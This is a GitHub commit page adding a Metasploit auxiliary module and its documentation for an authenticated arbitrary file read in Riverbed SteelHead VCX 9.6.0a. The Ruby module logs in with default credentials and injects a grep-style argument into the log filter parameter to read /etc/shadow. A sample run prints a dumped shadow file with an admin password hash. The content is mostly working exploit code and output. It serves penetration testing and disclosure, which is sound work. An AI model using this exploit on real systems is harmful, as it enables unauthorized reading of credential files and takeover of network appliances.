Skip to content

Commit bb9d1a6

Browse files
committed
Land rapid7#8507, Riverbed SteelHead VCX file read
2 parents 704a121 + a349eb9 commit bb9d1a6

File tree

2 files changed

+187
-0
lines changed

2 files changed

+187
-0
lines changed
Lines changed: 57 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,57 @@
1+
This module exploits an authenticated arbitrary file read in the log module's filter engine.
2+
3+
## Vulnerable Application
4+
5+
The application is available for a 90 day evaluation after free registration from
6+
[riverbed](https://www.riverbed.com/gb/products/steelhead/Free-90-day-Evaluation-SteelHead-CX-Virtual-Edition.html).
7+
Downloads are available for Hyper-V, ESX(i), and KVM. Installation is straight forward, initial login is `admin`/`password`.
8+
If need be from cli, to show the IP address of the device: `show interfaces primary`
9+
10+
This module was successfully tested against:
11+
12+
- SteelHead VCX (VCX255U) 9.6.0a
13+
14+
## Verification Steps
15+
16+
1. Do: ```auxiliary/scanner/http/riverbed_steelhead_vcx_file_read```
17+
2. Do: ```set RHOSTS [IP]```
18+
3. Set TARGETURI if necessary.
19+
3. Set FILE if necessary.
20+
3. Set USERNAME if necessary.
21+
3. Set PASSWORD if necessary.
22+
4. Do: ```run```
23+
24+
## Scenarios
25+
26+
### SteelHead VCX255u 9.6.0a running on ESXi
27+
28+
```
29+
resource (riverbed.rc)> use auxiliary/scanner/http/riverbed_steelhead_vcx_file_read
30+
resource (riverbed.rc)> set rhosts 192.168.2.198
31+
rhosts => 192.168.2.198
32+
resource (riverbed.rc)> set verbose true
33+
verbose => true
34+
resource (riverbed.rc)> run
35+
[*] CSRF Token: 18PK64EKpo4d6y0X5ZOMYJ3fxfYZKfrN
36+
[+] Authenticated Successfully
37+
[+] File Contents:
38+
admin:$6$sKOU5moa$B2szxiSEzq6ZmHZw01CMf64WlzvqIgCYETeXzF1ItxZ5soOJNVXdE2H5N19t0cPeGDf/LGvRymgQHAxgojr6u1:10000:0:99999:7:::
39+
administrator:*:10000:0:99999:7:::
40+
apache:*:10000:0:99999:7:::
41+
localvixuser:*:10000:0:99999:7:::
42+
named:*:10000:0:99999:7:::
43+
nobody:*:10000:0:99999:7:::
44+
ntp:*:10000:0:99999:7:::
45+
pcap:*:10000:0:99999:7:::
46+
postgres:*:10000:0:99999:7:::
47+
rcud:*:10000:0:99999:7:::
48+
root:*:10000:0:99999:7:::
49+
rpc:*:10000:0:99999:7:::
50+
shark:*:10000:0:99999:7:::
51+
sshd:*:10000:0:99999:7:::
52+
statsd:*:10000:0:99999:7:::
53+
webproxy::10000:0:99999:7:::
54+
[+] Stored /etc/shadow to /root/.msf4/loot/20170602230238_default_192.168.2.198_host.file_311580.txt
55+
[*] Scanned 1 of 1 hosts (100% complete)
56+
[*] Auxiliary module execution completed
57+
```
Lines changed: 130 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,130 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Auxiliary
7+
8+
include Msf::Exploit::Remote::HttpClient
9+
include Msf::Auxiliary::Report
10+
include Msf::Auxiliary::Scanner
11+
12+
def initialize
13+
super(
14+
'Name' => 'Riverbed SteelHead VCX File Read',
15+
'Description' => %q{
16+
This module exploits an authenticated arbitrary file read in the log module's filter engine.
17+
SteelHead VCX (VCX255U) version 9.6.0a was confirmed as vulnerable.
18+
},
19+
'References' =>
20+
[
21+
['EDB', '42101']
22+
],
23+
'Author' =>
24+
[
25+
'Gregory DRAPERI <gregory.draper_at_gmail.com>', # Exploit
26+
'h00die' # Module
27+
],
28+
'DisclosureDate' => 'Jun 01 2017',
29+
'License' => MSF_LICENSE
30+
)
31+
32+
register_options(
33+
[
34+
OptString.new('FILE', [ true, 'Remote file to view', '/etc/shadow']),
35+
OptString.new('TARGETURI', [true, 'Vulnerable URI path', '/']),
36+
OptString.new('USERNAME', [true, 'Username', 'admin']),
37+
OptString.new('PASSWORD', [true, 'Password', 'password']),
38+
])
39+
end
40+
41+
def run_host(ip)
42+
# pull our csrf
43+
res = send_request_cgi({
44+
'uri' => normalize_uri(datastore['TARGETURI'], 'login'),
45+
'method' => 'GET',
46+
'vars_get' => {
47+
'next' => '/'
48+
}
49+
}, 25)
50+
51+
unless res
52+
print_error("#{full_uri} - Connection timed out")
53+
return
54+
end
55+
56+
cookie = res.get_cookies
57+
csrf = cookie.scan(/csrftoken=(\w+);/).flatten[0]
58+
vprint_status("CSRF Token: #{csrf}")
59+
60+
# authenticate
61+
res = send_request_cgi({
62+
'uri' => normalize_uri(datastore['TARGETURI'], 'login'),
63+
'method' => 'POST',
64+
'cookie' => cookie,
65+
'vars_post' => {
66+
'csrfmiddlewaretoken' => csrf,
67+
'_fields' => JSON.generate({
68+
'username' => datastore['USERNAME'],
69+
'password' => datastore['PASSWORD'],
70+
'legalAccepted' => 'N/A',
71+
'userAgent' => ''
72+
})
73+
}
74+
}, 25)
75+
76+
unless res
77+
print_error("#{full_uri} - Connection timed out")
78+
return
79+
end
80+
81+
if res.code == 400
82+
print_error('Failed Authentication')
83+
return
84+
elsif res.code == 200
85+
vprint_good('Authenticated Successfully')
86+
cookie = res.get_cookies
87+
store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD'], proof: cookie)
88+
end
89+
90+
# pull the file
91+
res = send_request_cgi({
92+
'uri' => normalize_uri(datastore['TARGETURI'], 'modules/common/logs'),
93+
'method' => 'GET',
94+
'cookie' => cookie,
95+
'vars_get' => {
96+
'filterStr' => "msg:-e .* #{datastore['FILE']}"
97+
}
98+
}, 25)
99+
100+
unless res
101+
print_error("#{full_uri} - Connection timed out")
102+
return
103+
end
104+
105+
if res && res.body
106+
result = res.get_json_document
107+
unless result.has_key?('web3.model')
108+
print_error('Invalid JSON returned')
109+
return
110+
end
111+
reconstructed_file = []
112+
# so the format is super icky here. It makes a hash table for each row in the file. then the 'msg' field starts with
113+
# the file name. It also, by default, includes other files, so we need to check we're on the right file.
114+
result['web3.model']['messages']['rows'].each do |row|
115+
if row['msg'].start_with?(datastore['FILE'])
116+
reconstructed_file << row['msg'].gsub("#{datastore['FILE']}:",'').strip
117+
end
118+
end
119+
if reconstructed_file.any?
120+
reconstructed_file = reconstructed_file.join("\n")
121+
vprint_good("File Contents:\n#{reconstructed_file}")
122+
stored_path = store_loot('host.files', 'text/plain', rhost, reconstructed_file, datastore['FILE'])
123+
print_good("Stored #{datastore['FILE']} to #{stored_path}")
124+
else
125+
print_error("File not found or empty file: #{datastore['FILE']}")
126+
end
127+
end
128+
end
129+
130+
end

0 commit comments

Comments
 (0)